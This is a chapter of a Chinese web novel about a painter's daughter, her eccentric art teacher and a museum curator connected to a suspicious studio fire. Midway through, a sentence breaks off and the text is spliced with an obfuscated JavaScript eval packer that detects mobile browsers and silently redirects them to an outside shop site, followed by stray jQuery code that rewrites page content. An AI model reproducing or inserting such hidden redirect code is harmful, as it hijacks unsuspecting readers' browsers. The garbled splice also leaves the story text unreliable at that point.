8. 第八章
    阳光被不规则几何形状的复合天窗瓜分成许多块,没有遗漏,安分投射到展台各处。

    馆长戚杉是个和蔼可亲的老先生,久久浸润艺术,气度得体。异常热络地介绍着欧易之光,宁洛微。

    徐知洛作为相关人员没什么动然,沉默静立,和展台上如纳西索斯般忧郁美丽的青年半身像,隔着玻璃罩,对称成一幕神似的镜像。

    面前精巧别致的展示柜里,是这位欧易之光不辞而别前留下的最后一副画作。

    半边是燃烧过的灰烬,另一半色彩笔触细腻精湛,在视觉艺术和意涵延伸上都无与伦比,连她这个外行人也能品鉴出一二。

    画中是一只正在俯冲飞翔的海东青。静中有动,振羽脱框。万鹰之王。鹰眼留驻在玻璃外的光怪世界。

    作品扬名立万,需要三毒。

    独特别致的画作。

    孤独神秘的画家。

    还有眼光毒辣的收藏家。

    戚杉是发掘宁洛微的伯乐,也是最忠诚狂热的粉丝。

    他以慈爱的目光紧锁那位的女儿,柔声道:“洛微准备这幅画的时候,你还小。那时他正苦于瓶颈寻求突破,我鼓励他从生活中找寻灵感,五年精耕,才绘就你眼前的绝作。”

    真像啊,样貌气质,不出二人。

    “……可惜的是,我们发现这幅画时,已经被毁掉了。”

    戚杉说着说着动容挽泪,遗憾不已。双手都戴了丝质手套,泪过有痕。

    也没有人敢修补。一是技艺不达,二是烧痕异常完美,令本是白洁身羽的海东青浴火而来。

    龙生龙,凤生凤。她没有父亲那样卓越的艺术天赋。甚至对绘画本身深恶痛绝。

    毁坏过的事物,于她而言没有任何价值。

    “馆长早。”步履渐近。

    未见其人,先闻其声。牵连着慵懒,吐字生磁,恍若绵连丝绸随乐波动。紧接着是气味。玫瑰茉莉交织在一起,迷人又难驯。轻车熟路搭在徐知洛的肩上,羊毛卷散漫拂过裸露脖颈。有点痒。

    “玫瑾,不要越界。这是你老师的女儿,徐知洛。”戚杉看见夏玫瑾的出格举动,刚刚到慈爱消失了,严肃起来,过后又转向她介绍,脸色稍霁,“这是你父亲最得意的门生,夏玫瑾。”

    “哦,见过了。”夏玫瑾不听训诫,玩心大发,灵巧的手指在徐知洛的锁骨上弹起钢琴。“印象呢,非常深刻。是不是呀,洛学妹?”

    一旁的戚杉气得胡须上翘,又奈何不了她。“好了好了,快带知洛去上课吧。记住,耐住你的性子,不得无礼。”

    “随我来。”夏玫瑾背身,裙摆翩跹,纤长玉指顺沿一侧臂膀蜿蜒而下,直至勾过她的手指。

    “这些都是你的画作?”

    画室从上而下共分两层,楼高空旷,绕室护栏围住二楼。复古雅致的画室内挂满了和宁洛微画风相似的精美之作,点缀华丽,灯罩温柔。

    下了楼梯,又进入到另一个割裂世界。

    灯光渐变暗黑,表面的华丽失真。露出来的残缺几幅和宁派有着天壤之别。

    模糊,美好的女性线条,在梦幻的乌托邦中咆哮着,哭泣着,残杀着,跳了一只华丽的生命谢幕之舞。另外大多画作盖着白布,尸横遍野不能言语。一片死画的乱葬岗。没有任何看上去令画家自身引以为傲的地方。

    笔触扭曲奔放,用色狂野前卫。

    “正是在下。”夏玫瑾后撤一步,行了一个标准浪漫的脱帽礼,手腕一转,摘下的八角帽又被胡乱甩飞,撞墙死了。

    偌大的空间里光照晦涩,难以视物。徐知洛捡起滚落脚边的遥控器按下。

    白昼顷刻入驻,困在梦境里的黑色身影如获解救,竭力呼吸,化作尘埃在空中漂浮。

    夏玫瑾已经脱了鞋,懒洋洋转了几圈,打翻了画架,便顺势卧下。露肩黑纱裙随羊毛卷一并在木制地板上盛开。

    阳光热闹了,反手遮挡住眼睛。象征身份的红宝石胸针改成了尾戒。

    红唇一张一合,嘴角的痣在动。

    “你还是欧易第一个选宁画的人,只有我能教。虽然实践课和专业课毕业要求不同,但我还是很严苛的。”话语未落,她拾起地板随便一支画笔。

    一道白色抛物线。

    “动手吧,看看你从老师那学到了多少。”夏玫瑾挑选了个舒服姿势,就要睡去。

    徐知洛接过画笔在手中摩挲,来到她面前。“我从来没有画过,也不喜欢。”

    夏玫瑾垂下手,撞进她同样注目的眼里。谁也不肯先挪开视线。

    一阵细碎的轻笑从齿间溢出。“宁洛微的女儿竟然是画盲。”她支手盘坐起,取下别在耳后的细烟,含在嘴里。摸摸身上又找不出火机,懊恼捶地。

    徐知洛取出裤装里的打火机,低头为她点好烟。也坐了下去。

    夹了烟的剔透指缝,青筋隐现。

    烟尾缓烧。夏玫瑾和她并排坐着。

    “说吧,你来我这到底要干什么。”

    “我想向你学习画画。”一字一顿,重音落于“向你。”二字。

    “我?哈,”她轻慢吸了一口,吐出烟雾,空气染上薄荷味,“和我有什么好学的?徐知洛,我是你父亲的学生,也只会他的画法。”

    徐知洛的眼神忽近忽远,最终停在盖着白布的画上。

    “可我所见,楼下这几幅画,和父亲的风格完全不一样。”

    “打发时间的,没人见过。”

    “真的吗?”徐知洛就要起身去掀布。

    你是在亵渎尸体。”左手拽住她的制服衣摆。“没什么可看的,也不好看。”

    “徐知洛单手解开衣扣,外衣掉落地上,画家扑了个空。“总会有人看见。第一个人,为什么不能是我。”

    烟灭了。

    “都说了,不好看。”夏玫瑾皱了眉,筑起烦闷。“没有人会看到,我会带着它们一起陪葬。”

    “我恋丑。”徐知洛仍固执往前。

    “好烦。不好玩了。随便你。”眼瞧那人却略过最近的一块白布,把倒下的画架扶起,就着新的画布涂抹起来。

    三分钟画完撂笔。夏玫瑾走路轻巧,不知什么时候已经站在身后了,她委婉了一下措辞,悠悠开口,“你这幼猫挺有写实派遗风。”

    “……我画的是只吃人猛虎。”徐知洛对自己的杰作很欣赏,满意点头。似猫非虎的玩意儿咧嘴狞笑,比孩童的幼稚涂画更鬼畜。“那是爪,这是尾。”毕加索摇摇头,甘拜下风。

    “那你倒可以自成一派。”

    “凤梨乌梅派。”

    夏玫瑾可不会期待从矜贵的宁洛微口中听到任何讨巧的鬼话。

    在欧易的最后一年,看来是不会无聊了。

    “艺术系多少宁画拥趸翘首以盼,你为什么要和我学?”

    “两个原因。一是因为,我喜欢你和父亲不一样的风格。二是,”余光飘向楼上仿制的灵魂全无的作品,视线回落,中途再

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175750|150557||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    度相撞,“圆桌会议那天,你说,我和父亲并不相像。”语死腹中的第三个原因,她一点也不想重蹈覆辙。

    实在不懂孤僻清高的父亲哪里好。人人都喜欢他,想成为他,再逃离他,又回到原点。母亲是这样,夏玫瑾也是。

    “什么嘛,我和他,你和他,绕来绕去的。”

    “我不想成为他。”徐知洛定言道。

    眼前小她五岁的少女,有着不属于任何一类人的复杂特质。

    久旱的大地上灵感突然泉涌。

    她知道徐知洛有勇气说,也有勇气做。一直走得惊险,不然也不会放弃旧贵身份下权柄和荣耀在这里相见。

    轻蹭画板,指尖蘸起点涂抹不均仍未干的颜料,在刚才徐知洛的大作空白处描了一个痛快的“5”。

    “日常练习都算作平时成绩。这5分,给在嘴巧。”

    “我会努力的。”徐知洛头一回因被打低分而欢欣展颜,继续问,“老师,请问,还有什么需要注意的?”

    问题在空中飞了一会。

    “你和夏奕什么关系?”并不等回复,夏玫瑾挽起卷发,补充道,“我不介意。只是,旧贵圈里没有秘密。既要又要,胃口不小。”她又带上熟悉的两个画具挎包,弄了块崭新画笔,迫不及待把灵感抛洒出来。

    前世和夏玫瑾接触不多。她是父亲的学生,最得真传,年少成名。后来疯了,就不画了。归宿是南山疯人院。长兄夏之耀夺权落败,死于海难。两人对夏奕仁至义尽,皆没有好下场。

    “……以后不会有关系。”徐知洛没有正面回答,她对夏奕的忍耐本就到了临界。现下和夏玫瑾的关系氛围也不适宜试探告密者。

    横竖都是折磨。不如让暴风雨来得更猛烈些。

    这个愿望在三天后的预热晚宴上实现。

    被艺术摧残蹂躏过后,重返人间,徐知洛更加珍惜生命。

    下楼路过今早的展厅,只有老馆长一人。一洗苍老疲态,朝着宁洛微的那副无名绝作自言自语。

    他的脸紧贴玻璃罩,堆挤状态下稍显狰狞。

    “洛微,你回来了,你终于肯回来了。”

    戚杉褪去手套,暴露在衣袖外的手背,肤色不均,细看,密密麻麻布满皱缩丑陋的疤痕,不难想象是怎样一场凶火。

    他于火海舍身抢救宁画的事迹,向来为人称道。

    宁洛微失踪后不久,欧易原艺术系院楼深夜起火。他的画室在整个顶层。

    从走廊打翻的烛台开始蔓延封锁,把顶层和其他楼层割裂。火光冲天,热浪翻涌,只有一个逆行的身影。戚杉只来得及抱出来一幅画,他浑身湿透。

    宁洛微有秉烛作画的习惯。他说火烛令他心静,于是顶楼不见任何现代灯具,烛影重重。隐患大在,好在顶层自带的灭火系统和报警装置出手迅疾。

    除了这幅绝笔,其他画作完好无损。

    世界上真的会有人爱一幅画爱到罔顾性命的吗?有吧,且不在少数。戚杉冲进去的时候在想什么呢?他不可能能预知顶层的防火装置是否能及时响应。她不好奇戚杉的真心,却怀疑人性。

    曾经刻意避开父亲的一切,闻名生厌,如今又在她的主动接近下揭开第一层面纱。

    艺术院楼早已修缮,曾经的顶层画室和神秘的画家一起消失不见。又另开一楼,扩修成新的艺术展楼,即身处的地方,只有宁洛微的作品。

    戚杉乐意守着,而夏玫瑾被困在这里,藏好自己的画。